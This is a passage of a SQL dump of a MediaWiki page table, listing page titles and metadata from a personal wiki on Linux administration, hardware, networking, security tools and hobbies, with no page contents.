),(41,0,'Correcting_Perl_Module_Dependencies_Fail','',623,0,0,0.904183935542,'20101123135056',1258,4977),(42,0,'Gpg_Keys_for_Package_Validation','',217,0,1,0.017071047376,'20071202200845',92,3111),(43,0,'Great_Open_Source_Projects','',396,0,0,0.212008425827,'20080423205940',188,3649),(44,0,'BackupPC_Installation_Notes','',3813,0,0,0.199661111886,'20090518025224',655,17337),(45,6,'Backuppc.gif','',36,0,1,0.576833477611,'20071204021420',97,0),(46,0,'ISCSI_SAN_Accounts','',57,0,0,0.133618053644,'20080204171042',117,2537),(47,0,'SugarCRM_Install_and_Admin_Notes','',238,0,0,0.1127866966,'20080723204838',333,8612),(48,0,'St_Pete_College_Compnet_AS_Classes','',646,0,0,0.542233972055,'20101219140048',1297,7570),(49,0,'Oxford_English_Dictionary_and_Wikipedia','',170,0,1,0.032216880394,'20080121185020',111,3169),(50,0,'Splunk_Log_Analyzer','',239,0,0,0.583636460632,'20090518133155',656,4746),(51,0,'Bastille_Server_Hardening','',65,0,1,0.821457180996,'20080124221141',114,3745),(52,0,'Acronis_Drive_Imaging','',230,0,1,0.255665046809,'20080204170812',116,2621),(53,0,'Wiki_Formatting_-_Wiki_Markup_Notes','',57,0,1,0.49834048878,'20080204171337',118,577),(54,0,'SMART_Drive_Diagnostics','',454,0,0,0.915724680865,'20100604152558',979,10408),(55,0,'Linux_Security','',67,0,0,0.280277363343,'20080614205056',277,2199),(56,6,'Camelot.jpg','',1,0,1,0.895550126258,'20080204173929',122,0),(57,6,'Padlock.jpg','',5,0,1,0.763692560929,'20080204174143',123,0),(58,0,'Mirroring_Hard_Drives_and_Partitions','',98,0,1,0.337780654477,'20080205170502',126,17977),(59,0,'Cacti_Installation','',103,0,0,0.282986083112,'20080403222221',173,3132),(60,6,'Cacti.jpg','',4,0,1,0.35640422572,'20080208171917',129,0),(61,0,'Repairing_Corrupted_File_Systems','',244,0,1,0.281342868808,'20080214191030',132,4225),(62,0,'Clonezilla','',530,0,0,0.059869956677,'20080822171028',398,1929),(63,0,'SMART_Rewriting_Bad_Sectors','',176,0,0,0.275866927043,'20080425135910',193,6723),(64,0,'Open_DNS_Server','',42,0,1,0.727139065116,'20080221151008',136,1433),(65,0,'Understanding_Null_Routing','',55,0,1,0.743424600625,'20080221151251',137,3602),(66,0,'APC_Backdoor','',96,0,1,0.578728222373,'20080222165420',138,4318),(67,0,'Firewire_Password_Hack','',98,0,1,0.696220177221,'20080311164534',142,9181),(68,0,'Handy_Linux_Commands','',76,0,0,0.916446428031,'20100603224953',974,277),(69,0,'IEs4Linux_-_Internet_Explorer_on_Linux','',42,0,1,0.214572627569,'20080313194541',145,1396),(70,0,'Cpanel_SMART_Errors','',62,0,0,0.02144659826,'20080320195818',148,4928),(71,0,'High_Server_Loads_and_You','',139,0,0,0.344112222828,'20080513145604',214,7568),(72,0,'OpenVPN_Server','',939,0,0,0.347586350597,'20081009011912',451,7299),(73,0,'MySQL_Database_Backup_Script','',103,0,0,0.443764228853,'20080322174845',155,29737),(74,0,'Sago_Stuff_List','',88,0,0,0.927207451112,'20080404214320',175,551),(75,0,'Cpanel_Installing_PHP5_and_PHP4','',45,0,1,0.700313426741,'20080327164942',164,2089),(76,1,'Wiki/index.php','',84,0,1,0.986503807104,'20080330115525',165,161),(77,0,'Creating_Backup_User_Accounts','',100,0,0,0.72080370849,'20080403154442',172,2443),(78,0,'Checknig/Changing_Quotas','',86,0,0,0.910337783261,'20080527124733',247,530),(79,0,'Exim_Tools','',101,0,1,0.10255918061,'20080407221642',176,1868),(80,0,'Cacti_SNMP_Monitoring','',73,0,1,0.793840501366,'20080407221925',177,2611),(81,0,'Loop_Mounted_Virtual_Partition_Manager','',91,0,0,0.582969192429,'20080421144449',183,2914),(82,0,'Linux_Account_Management','',59,0,0,0.16997964702,'20080422182746',187,231),(83,0,'Network_Monitoring_Tools','',61,0,0,0.801621801403,'20080424001602',191,397),(84,0,'System_Integrity_Monitor','',54,0,1,0.804662230533,'20080503203408',194,2019),(85,0,'PXE_Boot_Server','',1719,0,0,0.192006326696,'20100707193407',1038,5575),(86,0,'Mytop_-_SQL_Monitor','',98,0,0,0.276015894041,'20080516055255',237,3248),(87,0,'Network_Speed_Test','',116,0,0,0.259283872377,'20080515142640',219,11221),(88,0,'ZFS_File_System','',519,0,0,0.205600640476,'20081027150748',484,7763),(89,0,'VSFTP_Config','',34,0,1,0.897139777778,'20080513224806',215,1295),(90,0,'Cisco_Security_Class','',155,0,0,0.820881691611,'20080609223430',276,2161),(91,0,'Mounting_Remote_File_Systems_sshfs','',46,0,1,0.920173084877,'20080515210704',233,1437),(92,0,'Cygwin_Bash_for_Windows','',87,0,0,0.566991254434,'20080521144546',240,678),(93,0,'False_rpm_Database_Errors','',51,0,1,0.192808900167,'20080521163723',241,1690),(94,0,'Wiki_Markup_Tips','',45,0,1,0.327032475178,'20080525212705',242,626),(95,0,'SSH_Secure_Shell','',45,0,1,0.654345328306,'20080527123317',244,273),(96,0,'Linux_File_System_Quotas','',224,0,0,0.895309338527,'20080527133611',249,6962),(97,0,'FreeBSD_Frenzy_Live_CD','',114,0,1,0.304268974524,'20080527123547',246,2121),(98,0,'Iptables_-_pain_on_a_stick','',40,0,1,0.825906109274,'20080528124559',250,184),(99,0,'Driftnet_and_Webcollage','',78,0,1,0.515992302501,'20080528160427',251,1489),(100,0,'Linux_Package_Managers','',467,0,0,0.137489539986,'20101216231317',1281,3916),(101,0,'Ettercap_Sniffer','',178,0,0,0.612059099093,'20081116052137',515,2775),(102,0,'RPM_Install_Timeline_Report','',277,0,0,0.424699269432,'20080531223911',261,5959),(103,0,'Bash:_Sorting_and_Filtering_Data','',34,1,1,0.049540470291,'20080531223911',262,41),(104,0,'VNC_PXE_Remote_Install','',177,0,0,0.348375512518,'20080606170340',273,6443),(105,0,'Wubi_Compaq_Notebook','',58,0,0,0.471197911433,'20080607214055',275,2437),(106,0,'Port_Knocking','',116,0,1,0.568952189122,'20080614204927',278,4882),(107,0,'Login_Monitoring','',51,0,1,0.815519196626,'20080614205055',279,201),(108,0,'Bash_Tricks','',270,0,0,0.513687742591,'20101123002526',1256,5283),(109,0,'Nessus_Vulnerability_Scanner','',37,0,1,0.143571499157,'20080619183209',284,665),(110,0,'Ultima_4_for_Linux_xu4','',143,0,0,0.540468455535,'20080621162107',286,7684),(111,0,'VMware_Server_2.0','',423,0,0,0.27565429056,'20080810160955',369,2885),(112,0,'Image_Magick_Tricks','',23,0,1,0.204421075475,'20080623113726',289,494),(113,0,'Standard_Streams','',60,0,0,0.158787733558,'20080626112147',294,863),(114,0,'Reading_List','',75,0,0,0.338886676067,'20110112190112',1368,2829),(115,0,'Cisco_Firewall_Configuration','',57,0,1,0.819024171137,'20080629183629',295,1632),(116,0,'Time_And_Chaos','',38,0,0,0.309246729741,'20080630201439',299,1454),(117,0,'Initramfs_and_Early_User_Space','',37,0,1,0.385885330551,'20080702120654',304,1240),(118,0,'Adding_IPs_in_Cpanel','',23,0,1,0.549982378678,'20080709120442',310,4512),(119,0,'OLPC_Notes','',120,0,0,0.126971805838,'20090714014510',693,4212),(120,0,'RIP_Recovery_Is_Possible_Linux','',63,0,1,0.030142941937,'20080716175308',319,1136),(121,0,'IPMI_Configuration_and_Monitoring','',563,0,0,0.86793687172,'20080820193410',378,9971),(122,0,'CCNA_Test_Preparation','',77,0,0,0.08314427301,'20080724020312',334,484),(123,0,'Torrentflux','',68,0,0,0.60500051146,'20080718024550',329,434),(124,0,'Stopping_DoS_Attacks','',37,0,0,0.122990096092,'20081013135947',457,10723),(125,0,'Data_Recovery_Specialists','',41,0,1,0.36764035474,'20080728190934',349,21),(126,0,'Dell_OpenManage_Server_Administrator','',174,0,0,0.064511454171,'20101220205316',1316,5137),(127,0,'Multiple_X_Servers','',84,0,1,0.029531319792,'20080731222625',356,4737),(128,0,'Virtualization_Methods','',61,0,0,0.027534853622,'20080803030733',359,5428),(129,0,'Drive_Partitioning_Tools','',45,0,1,0.134577512818,'20080803153009',360,1324),(130,0,'Caos_Linux_and_Perceus_Cluster_Management','',105,0,1,0.062408670568,'20080804234205',365,639),(131,0,'FluidVM_Install','',102,0,0,0.716413013411,'20091009132449',758,3715),(132,0,'Solaris_and_Linux_Dtrace','',118,0,0,0.182150900821,'20091110180216',775,2304),(133,0,'Mounting_and_Accessing_a_Container_File_system','',44,0,1,0.44933607298,'20080814125537',372,2645),(134,0,'Running_Chkdsk_on_a_Container_File_system','',52,0,1,0.252372480051,'20080814125537',373,304),(135,0,'Dell_OpenManage_IT_Assistant','',75,0,1,0.777200588584,'20080814125646',374,2353),(136,0,'OpenSolaris','',297,0,0,0.508643223875,'20080821023858',389,7456),(137,0,'OpenSolaris_VMare_Install','',553,0,0,0.587532981218,'20080823153830',401,3940),(138,0,'OpenSSH_chroot','',32,0,1,0.999321231863,'20080825140711',402,259),(139,0,'Building_Scalable_Cisco_Networks','',390,0,0,0.21331016538,'20081004202527',440,8964),(140,0,'Business_and_Economics','',59,0,0,0.338584464431,'20080910150705',414,519),(141,0,'SMTP_Address_Verification','',249,0,0,0.225590999179,'20081228201905',575,1407),(142,0,'MySQL_Tools_and_Tips','',181,0,0,0.740070830691,'20101029211434',1196,8098),(143,0,'Biostar_740G_BIOS_Update','',78,0,0,0.708679645432,'20080923183331',428,1941),(144,0,'Open_Office_.docx_Converter','',12,0,1,0.001611552335,'20080926131740',434,905),(145,0,'Sago_Job_Descriptions','',46,0,1,0.334358666254,'20080929161136',437,4496),(146,0,'Hard_Drive_Failures','',42,0,1,0.581538456423,'20081002172929',438,1466),(147,0,'Open_Suse_11_Notes','',36,0,0,0.287403903525,'20081007003849',443,491),(148,0,'Solaris_Training_and_Information','',40,0,1,0.135785148069,'20081007122859',444,260),(149,0,'Traceroute,_Ping_and_TTL_Values','',53,0,0,0.691181778681,'20081008140358',450,4211),(150,0,'Kernel_Drive_Status_Messages','',25,0,1,0.319140942211,'20081008131855',448,1120),(151,0,'Remove_and_Create_Ext3_Journal','',51,0,1,0.198678683285,'20081008135407',449,2118),(152,0,'Hard_Drive_Performance','',50,0,0,0.256694694863,'20090406131852',626,1190),(153,0,'Crafty_Chess_Compiler_Benchmarks','',2475,0,0,0.242747043903,'20090816161112',717,6122),(154,0,'Intel_C_Compiler_for_Linux','',904,0,0,0.416264024469,'20081022152720',474,3047),(155,0,'MySQL_Table_Recovery_to_the_Extreme','',36,0,1,0.08842304083,'20081013141304',458,1559),(156,0,'IPMI_Console_Access','',372,0,0,0.552312206702,'20090618142620',672,5110),(157,0,'Samba_Server_Installation','',53,0,0,0.184071290838,'20081015143114',461,372),(158,0,'Acer_Aspire_One','',414,0,0,0.856235183413,'20090104155522',580,9647),(159,0,'Drive_Performance_Tests','',112,0,0,0.837623588815,'20101103201721',1220,465),(160,6,'R8101-1.009.00.tar.bz2','',3,0,1,0.465035634568,'20081019013726',464,82),(161,0,'File_Carving','',103,0,0,0.621804214483,'20081021170611',469,603),(162,6,'Kloet2007thesis.pdf','',21,0,1,0.452116447125,'20081021170428',467,0),(165,6,'Intel-logo.png','',21,0,1,0.968492876463,'20081022152721',472,0),(166,6,'Linux-logo.png','',17,0,1,0.639950018383,'20081022152721',473,0),(167,0,'MediaWiki_Configuration','',34,0,0,0.957593036666,'20081118201436',541,911),(168,0,'Wordpress_Configuration','',91,0,0,0.748316390403,'20100114031054',799,1018),(169,6,'Zfs_last.pdf','',19,0,1,0.620864755747,'20081022191856',478,33),(170,0,'XVMServer_Sun_Virtualization','',33,0,0,0.443228803589,'20091002014305',757,1795),(171,0,'Building_Multilayer_Switched_Networks','',126,0,0,0.730682553564,'20081209202000',562,8457),(172,0,'Dreamweaver_Tips','',23,0,1,0.503428490715,'20081102191636',489,260),(173,0,'Tomcat_Configuration','',69,0,0,0.234934935728,'20081106200516',504,884),(174,0,'Search_Engine_Optimization','',1066,0,0,0.95354948948,'20090211044501',600,10759),(175,0,'Widget:AddThis','',1,0,1,0.481766416191,'20081116141237',517,249),(176,274,'AddThis','',44,0,0,0.310196042546,'20081116145644',521,1700),(177,6,'Diggbadge.jpg','',20,0,1,0.466217728601,'20081116202549',529,0),(178,8,'Common.js','',5,0,0,0.77686825375,'20081117024932',535,0),(179,0,'Dd_Rescue','',486,0,0,0.545305396818,'20090925115315',756,7431),(180,0,'Linux_Benchmarking_Tools','',76,0,0,0.160120303916,'20081222200022',569,4985),(181,0,'Sendmail_Troubleshooting','',155,0,0,0.308754952276,'20081228202107',576,2952),(182,0,'Inquisitor_Hardware_Testing','',21,0,1,0.44265073752,'20081231151946',577,186),(183,0,'Stream_Editor_sed','',30,0,1,0.05326126395,'20090101190550',579,296),(184,0,'Suse_DNS_Server_Configuration','',2216,0,0,0.774414519406,'20090111013055',585,4759),(185,6,'YAST-DNS-CLI-Config.png','',343,0,1,0.815862016682,'20090111013056',583,0),(186,6,'YAST-DNS-Config.png','',2,0,1,0.812092322211,'20090111011123',584,0),(187,0,'Planet_RSS_Aggregator','',34,0,1,0.144638914284,'20090116194852',588,800),(188,0,'Network_Negotiation_Issues','',49,0,1,0.637669957445,'20090127161521',590,1867),(189,0,'O3Spaces_Collaboration_Suite','',64,0,0,0.934948312693,'20090130203938',595,2813),(190,0,'Site_Redirection','',47,0,0,0.983183785349,'20090206181604',597,1639),(191,0,'XWindows_Tricks','',54,0,0,0.3990916541,'20100728050321',1078,797),(192,0,'DNS_Domain_Name_Service_Troubleshooting','',82,0,0,0.749944729697,'20101212141756',1276,2165),(193,0,'Tracking_Down_Spammers','',125,0,0,0.335703503485,'20090811142631',710,4393),(194,0,'Solaris_Tips','',194,0,0,0.544443838707,'20100604130258',977,5887),(195,0,'Cobbler_PXE_Install_Manager','',563,0,0,0.027795428188,'20100307180450',887,10510),(196,0,'OpenSolaris_Indiana_2008.11_Acer_Aspire_One_Install','',2080,0,0,0.345089860051,'20090309233717',622,9863),(197,6,'Innomat_solaris_180.png','',23,0,1,0.8018526747,'20090309232739',617,0),(198,0,'Solaris_Nevada_11.2008_Acer_Aspire_One_Install','',30,1,1,0.297554288076,'20090309233717',620,65),(199,0,'Kdialog_Messages','',39,0,1,0.715329171396,'20090323173812',624,403),(200,0,'Apache_Sudo_Commands','',23,0,1,0.748127152976,'20090326150659',625,707),(201,0,'Vnstat_Bandwidth_Monitor','',34,0,1,0.962380479064,'20090414173127',627,135),(202,0,'Network_Scanning_Tools','',65,0,0,0.186972976299,'20090416191050',629,508),(203,0,'Exim_Troubleshooting','',263,0,0,0.924525580731,'20090421180816',634,1988),(204,0,'OCSNG_Inventory_Management','',1188,0,0,0.088947536803,'20100115204651',805,10195),(205,0,'Bash_Scripts','',59,0,0,0.874511107948,'20090427164603',647,1288),(206,0,'Konqueror_Tips','',19,0,1,0.241599676037,'20090428135547',648,186),(207,0,'Vmsplice_kernel_exploit','',258,0,1,0.566170142979,'20090521151957',657,1241),(208,0,'Revision_Control_System','',60,0,0,0.978593184529,'20100301133233',878,364),(209,0,'Encrypting_Linux_Shadow_Passwords','',77,0,0,0.985533958915,'20090603122553',662,1537),(210,0,'Syslog_Server_Installation','',29,0,1,0.175961251519,'20090605184901',663,140),(211,0,'Debian_Broadcom_NIC_Drivers','',209,0,0,0.349136965284,'20090622175854',678,2420),(212,0,'Testing_MSSQL_Connections_odbcping.exe','',35,0,1,0.332646215857,'20090605195849',666,2246),(213,0,'Tomcat_Installation','',355,0,0,0.362095612977,'20101104143439',1223,8723),(214,0,'Process_Accounting','',121,0,0,0.620122625653,'20090621165547',675,3306),(215,0,'Cool_Places_to_Work','',103,0,1,0.900857147887,'20090620205608',673,287),(216,0,'Hosts_Deny_Configuration','',66,0,0,0.863321269902,'20090623144225',680,218),(217,0,'Toorcamp_2009_Trip','',77,0,0,0.434001389669,'20090629190952',686,3019),(218,0,'Testing_Mod_ReWrite','',52,0,0,0.557903940269,'20090630125256',689,3339),(219,0,'Web_Email_Form_Tools','',35,0,1,0.158633175032,'20090715165829',694,1098),(220,0,'Metasploit_Framework','',87,0,1,0.668196710075,'20090722235427',696,3767),(221,0,'Cisco_VPN_Configuration','',874,0,0,0.269865164616,'20091113230553',777,4171),(222,0,'Database_Configuration','',131,0,0,0.219209907996,'20101030211546',1199,1367),(223,0,'Regex_Regular_Expressions','',18,0,1,0.041040228125,'20090808181801',705,680),(224,0,'Linux_SCSI_Device_Tools','',18,0,1,0.631567943693,'20090810231859',707,2523),(225,0,'Sun_Studio_and_Compiler','',38,0,0,0.133372962204,'20090816154944',716,1473),(226,0,'Solaris_Zones','',39,0,1,0.114914254916,'20090814021047',714,177),(227,0,'Cpanel_Configuration','',15,0,0,0.892500566592,'20090821143003',726,2198),(228,0,'Linux_Filesystem_Tools','',42,0,1,0.975786946749,'20090828094636',729,1714),(229,0,'Suse_Apache_and_PHP_Configuration','',33,0,1,0.600450746145,'20090829144434',730,1283),(230,0,'Eclipse_IDE_Platform','',173,0,0,0.024576503832,'20100929143019',1139,1466),(231,0,'Subversion','',161,0,0,0.787147518081,'20101109174140',1236,7062),(232,0,'SSL_Certificates','',144,0,0,0.777467538102,'20101014191554',1176,2567),(233,0,'Partition_Names_with_UUID_e2label_and_Block_Device_Names','',89,0,0,0.122666041505,'20090909124023',740,2841),(234,0,'Lustre_Distributed_File_System','',444,0,0,0.6904166688,'20090919015101',753,5373),(235,0,'Name_Server_Clusters','',40,0,1,0.722126576181,'20091012183951',759,2943),(236,0,'C++_Programming_Basics','',226,0,0,0.744678583994,'20110103163658',1344,7952),(237,0,'Occult_Wicca_College','',45,0,1,0.521080718755,'20091026125930',762,468),(238,0,'Xrandr_Display_Configuration','',37,0,0,0.226570389756,'20091029021643',767,295),(239,0,'Arcanum','',45,0,0,0.073384311465,'20100521222614',969,2364),(240,0,'Airship_Pilotage','',35,0,1,0.297695597959,'20091111235055',776,243),(241,0,'Keyboard_Configuration','',29,0,0,0.721411433731,'20091121215704',784,2357),(242,0,'Pascals_Triangle','',30,0,1,0.930916175855,'20091118150657',779,694),(243,0,'Virtualbox_Tips','',57,0,0,0.888395529465,'20110117194244',1377,3494),(244,0,'Samsung_HDTV','',46,0,0,0.91261352839,'20091129205132',786,697),(245,0,'Arduino','',187,0,0,0.275265430671,'20101030144335',1197,3623),(246,0,'Ethtool_Interface_Tweaking','',35,0,1,0.920331411857,'20100101190352',789,1052),(247,0,'Graphical_Debugging_Tools','',41,0,0,0.370787916934,'20100111000603',797,1633),(248,0,'Sago_Turnover_Notes','',119,0,1,0.878712590202,'20100115204048',800,15335),(249,0,'Install_Network_Servers','',68,0,0,0.77874357407,'20100115204804',806,2428),(250,0,'PXE_Explanation','',92,0,1,0.785965463145,'20100115204048',802,6785),(251,0,'Sago_Recovery_Environment','',53,0,1,0.224092005115,'20100115204216',803,1326),(252,0,'SMART_Test','',34,0,0,0.671477276972,'20100713202544',1040,3012),(253,0,'Cluster_Design_Requierments','',42,0,0,0.524695059209,'20100120142754',808,3776),(254,0,'Creating_a_Container_for_customer_(CentOS5)','',36,0,0,0.163476046526,'20100120153415',810,2797),(255,0,'Cable_Suppliers','',70,0,1,0.595358646046,'20100120231320',811,325),(256,0,'Screen_Tricks','',45,0,0,0.605581076121,'20110112175148',1365,835),(257,0,'Cups-pdf_Print_Driver','',46,0,0,0.884366718612,'20110115164823',1374,3213),(258,0,'Wacom_Tablet','',41,0,1,0.507562730856,'20100131013549',817,8826),(259,0,'Gifts_for_People','',44,0,0,0.375279123578,'20100202011453',821,238),(260,0,'DLNA_and_Mediatomb','',63,0,0,0.062491285961,'20101114221014',1243,7694),(261,0,'IRC_-_Internet_Relay_Chat','',46,0,0,0.735187377693,'20100203015825',824,3922),(262,0,'Sydney_Biscuit','',48,0,1,0.754425560491,'20100205201114',825,31),(263,0,'RHCE_Training_Notes','',497,0,0,0.971506734331,'20100213210316',873,17009),(264,0,'RHCE_Class_named.conf','',11,0,1,0.587179498942,'20100211222153',871,1516),(265,0,'Pdflush_tunables','',7,0,1,0.400983028819,'20100218205158',874,2355),(266,0,'Suse_LDAP_Server_Setup','',62,0,1,0.58525302229,'20100219154601',875,1266),(267,0,'PowerPC_Linux_Distros','',16,0,0,0.104768377334,'20100220141950',877,1063),(268,0,'Openssh_Tricks','',21,0,0,0.321144922737,'20100704224202',1034,135),(269,0,'Squid_Cache','',22,0,0,0.578515215913,'20100807195803',1090,1682),(270,0,'CFEngine_Installation','',143,0,0,0.741530285222,'20100914123209',1123,3799),(271,0,'Sydney_Notebook_Specs','',22,0,0,0.691375772842,'20100313014402',893,834),(272,0,'Curl_Notes_and_Tricks','',16,0,0,0.124390071512,'20100824141221',1119,688),(273,0,'Applied_Ethics','',11,0,1,0.765456093234,'20100314202456',897,133),(274,0,'Twitcurl_Library','',104,0,1,0.844320376201,'20100314235425',898,4590),(275,0,'OpenSolaris_Aspire_Grub_Settings','',13,0,1,0.227942394984,'20100319130943',900,2105),(276,0,'Creating_Files_with_MySQL','',32,0,0,0.099039800262,'20100319205224',908,2461),(277,0,'Debugging_KDE_Applications','',20,0,0,0.826563127268,'20100325230711',918,4296),(278,0,'Steampunk_Sites','',14,0,1,0.6784451282,'20100325132255',912,325),(279,0,'Gnaural_Binaural_Audio','',7,0,1,0.868027376877,'20100325132528',913,183),(280,0,'Apache_Vhost_Stuff','',15,0,1,0.734659483617,'20100325132747',914,431),(281,0,'Nvidia_Suse_Config','',18,0,1,0.066940967961,'20100326192816',919,5565),(282,0,'OpenSolaris_USB_Serial','',15,0,1,0.974660321723,'20100329162544',922,346),(283,0,'Nginx_Configuration','',11,0,1,0.64651854988,'20100331235950',923,240),(284,0,'Sydney\'s_PowerMac_G5','',13,0,1,0.166732096563,'20100402142447',925,447),(285,0,'Android_Development','',33,0,0,0.197945033411,'20100404184924',930,1973),(286,0,'Magnetic_Card_Stripes_and_Readers','',25,0,0,0.577523367879,'20100414213841',948,789),(287,0,'Htaccess_Examples','',14,0,1,0.304787357974,'20100418124951',949,1355),(288,0,'Vulnerability_Testing','',14,0,0,0.571596677852,'20100419122615',951,122),(289,0,'University_of_Southern_Florida_Linux_Degree_Programm','',7,0,1,0.144451051003,'20100509194249',954,295),(290,0,'JavaPOS_Development_Resources','',8,0,1,0.275077636795,'20100509205936',955,686),(291,0,'Kernel_Compiling_Tips','',21,0,0,0.248902175585,'20101216232026',1282,4316),(292,0,'389-DS_LDAP_Server','',37,0,0,0.9832492996,'20100531210125',972,2753),(293,0,'Warcraft_3_on_Linux','',11,0,1,0.641226429147,'20100523043520',970,1431),(294,0,'LimeSurvey','',9,0,1,0.822464922179,'20100526203951',971,523),(295,0,'Setting_Up_OS_Mirrors','',15,0,0,0.119002028846,'20100604152135',978,625),(296,0,'Gmail_and_Cpanel','',25,0,1,0.494883405156,'20100604035319',975,508),(297,0,'Iozone','',285,0,0,0.774395587614,'20100621181316',996,2174),(298,0,'NFS_Performance_Tuning','',20,0,0,0.641416447946,'20100610133643',984,1882),(299,0,'MySQL_Bash_Scripts','',14,0,1,0.006528927398,'20100609165109',983,1895),(300,0,'Apache_JMeter_Load_Testing','',647,0,0,0.368181592669,'20100723165526',1064,5453),(301,0,'Webserver_Benchmark_Tools','',39,0,0,0.169105263435,'20100618130538',990,340),(302,0,'Oak_Ridge_National_Laboratory','',104,0,0,0.491228736132,'20110104143432',1347,2846),(303,0,'Home_Design_Ideas','',53,0,0,0.084501716869,'20110111161515',1362,1656),(304,0,'Nvidia_CUDA','',2200,0,0,0.440133066398,'20101221202806',1321,13306),(305,0,'Bar_Codes','',25,0,1,0.648771366964,'20100622022306',998,583),(306,0,'Pete_Workstation_Specs','',61,0,0,0.174838306225,'20100802002732',1082,1218),(307,0,'NFS_Cache_Install','',13,0,1,0.835482343818,'20100622140923',1001,3877),(308,0,'OPSI_Install_Manager','',331,0,0,0.838782525243,'20100714204439',1041,11645),(309,0,'Technical_Article_Index','',179,0,0,0.363565390805,'20100812140204',1113,1209),(310,0,'Update_Alternatives','',13,0,0,0.036641582782,'20101028174847',1194,533),(311,0,'SMART_Database','',15,0,0,0.270920081365,'20100722204859',1055,2415),(312,0,'Diving_Sites_and_Operators','',17,0,0,0.160122790226,'20101109142606',1235,487),(313,0,'Linux_RAID_Management','',21,0,0,0.108579990985,'20100802204701',1084,2115),(314,6,'Kelby.jmx.zip','',4,0,1,0.916092843618,'20100723164359',1061,31),(315,6,'JmeterRendered.png','',45,0,1,0.504140985949,'20100723165526',1063,0),(316,0,'House_Hunting','',19,0,0,0.916504355594,'20100724171106',1070,654),(317,0,'OpenMP_Parallel_Programming','',10,0,1,0.930587372684,'20100724165628',1068,704),(318,0,'Lisi_E8_Theory','',13,0,1,0.80200132485,'20100725222921',1071,355),(319,0,'Alt-F8_Console_Hacks','',21,0,0,0.464662559829,'20100810152742',1112,1165),(320,0,'SELinux','',19,0,0,0.802996080147,'20101014200749',1180,193),(321,0,'Network_Traffic_Capture','',19,0,0,0.612353932122,'20100805235619',1087,289),(322,0,'VPNC_Client','',13,0,1,0.338069669962,'20100805031610',1086,824),(323,0,'CUDA_Applications','',114,0,0,0.115959557426,'20101116205626',1245,1311),(324,0,'Smartd_Drive_Monitoring','',17,0,0,0.464836778426,'20100810142843',1111,1382),(325,0,'TI_ez430_Chronos','',5,0,1,0.091113942891,'20100819174140',1116,226),(326,0,'Linux_on_64_Bit_Architectures','',8,0,1,0.988636530386,'20100824141526',1120,115),(327,0,'Cultural_Anthropology','',9,0,0,0.884124656379,'20100926160327',1137,1050),(328,0,'Virt-manager_Tips','',30,0,0,0.441075681453,'20101221192137',1317,5904),(329,0,'Distributed_File_Systems','',5,0,1,0.341701045214,'20100926152335',1136,679),(330,0,'EqualLogic_Storage_Arrays','',9,0,0,0.088339001505,'20101012151536',1173,2513),(331,0,'Drive_Performance_Results','',10,0,1,0.597021863284,'20101001202433',1141,7165),(332,0,'Linux_Repositories','',9,0,0,0.715314158023,'20101001203305',1144,413),(333,0,'VMware_ESXi','',10,0,1,0.72194412372,'20101004140351',1145,449),(334,0,'EnterpriseDB_Postgres','',42,0,0,0.429942507519,'20101102114425',1203,3265),(335,0,'University_of_Tennessee','',11,0,0,0.261888771136,'20101214175420',1278,673),(336,0,'Linux_Documentation_Sites','',6,0,1,0.660751719449,'20101006235205',1148,85),(337,0,'Redmine_Project_Management','',62,0,0,0.449003902975,'20101129125040',1259,10885),(338,6,'Redmine_installHistory.tar.gz','',2,0,1,0.475092726709,'20101007135513',1150,0),(339,0,'Core_Wars','',42,0,0,0.850257165761,'20101011115559',1165,3068),(340,0,'OpenOffice_Tools_and_Tips','',2,0,1,0.065959097087,'20101010213921',1162,3037),(341,0,'Assembly_Programming','',7,0,0,0.396279138327,'20101011121247',1167,1095),(342,0,'Interesting_Exploits','',20,0,0,0.625730468715,'20101014195034',1179,1042),(343,0,'Postgre_SQL_Database','',6,0,0,0.034691617719,'20101012120525',1171,551),(344,0,'Drupal','',6,0,0,0.084651068187,'20101012131517',1172,781),(345,0,'KDE_Plasmoids','',5,0,1,0.239110436029,'20101012172654',1175,349),(346,0,'Gnutls_Configuration','',11,0,1,0.696688667979,'20101014194220',1177,3127),(347,0,'Subversion_Password_Management','',9,0,0,0.546397697684,'20101015175218',1184,5377),(348,0,'Spamassassin_and_spamc','',4,0,0,0.162969781193,'20101020192012',1187,1169),(349,0,'Evolution_Mail_Client','',6,0,1,0.080512494151,'20101028200856',1195,461),(350,0,'Arduino_Projects','',6,0,1,0.157731974061,'20101030145009',1198,638),(351,0,'Large_Partitons_in_Linux','',12,0,0,0.811287183083,'20101104210513',1225,1718),(352,0,'Postgres_Tools_and_Tips','',3,0,1,0.943017055895,'20101102114732',1204,167),(353,0,'Advanced_Format_Hard_Drives','',21,0,0,0.867534458877,'20101104193409',1224,9584),(354,0,'High_Performance_Computing_-_HPC','',6,0,1,0.165895699015,'20101106223722',1233,186),(355,0,'64-Bit_Linux_Tips','',9,0,1,0.742704409293,'20101106232122',1234,724),(356,0,'Network_Booting_-_gPXE','',18,0,0,0.959437280128,'20110113140803',1369,1319),(357,0,'Ruby_on_Rails','',6,0,1,0.868150681372,'20101111195834',1240,322),(358,0,'Linux_Uninterruptible_Power_Supply','',16,0,0,0.88262788016,'20101129131030',1262,1518),(359,0,'Rack_Management_Tools','',6,0,1,0.589704132759,'20101115183910',1244,1585),(360,0,'Interactive_Data_Language_-_IDL','',22,0,0,0.92642336277,'20101129150201',1263,8977),(361,0,'Parallel_Compression_Tools','',5,0,1,0.647344468889,'20101118205404',1252,3061),(362,0,'Tools_for_Manipulating_PDFs','',4,0,1,0.219054338787,'20101130132843',1264,1010),(363,0,'MythTV_Project','',5,0,1,0.672830350248,'20101207014303',1267,193),(364,0,'Neverwinter_Nights_on_Linux','',15,0,0,0.612249432072,'20101209192522',1274,2220),(365,0,'Netcat_Tricks','',4,0,1,0.112783707705,'20101210131947',1275,795),(366,0,'Machine_Check_Error_Log_-_mcelog','',4,0,1,0.925766567001,'20101212171707',1277,3087),(367,0,'Grsecurity_Kernel_Hardening','',14,0,0,0.972041258799,'20101221210011',1324,1928),(368,0,'Desktop_Performance_Kernel_Patch','',3,0,1,0.806202587618,'20101216235758',1284,974),(369,0,'OpenSuse_Configurations','',5,0,1,0.1293600391,'20101217002350',1289,175),(370,0,'Guitar_Playing_Stuff','',34,0,0,0.397780653932,'20110110144151',1357,2930),(371,0,'MegaRAID_CLI','',13,0,0,0.393650206092,'20101229162702',1335,3009),(372,0,'Interesting_Blogs','',3,0,1,0.768220944418,'20101221201447',1318,169),(373,0,'Contact_Management_Solutions','',9,0,0,0.657273757551,'20110117155334',1375,581),(374,0,'Phpchain_Password_Manager','',7,0,1,0.473753125261,'20101221203505',1322,266),(375,0,'General_Hacking','',6,0,1,0.516969824007,'20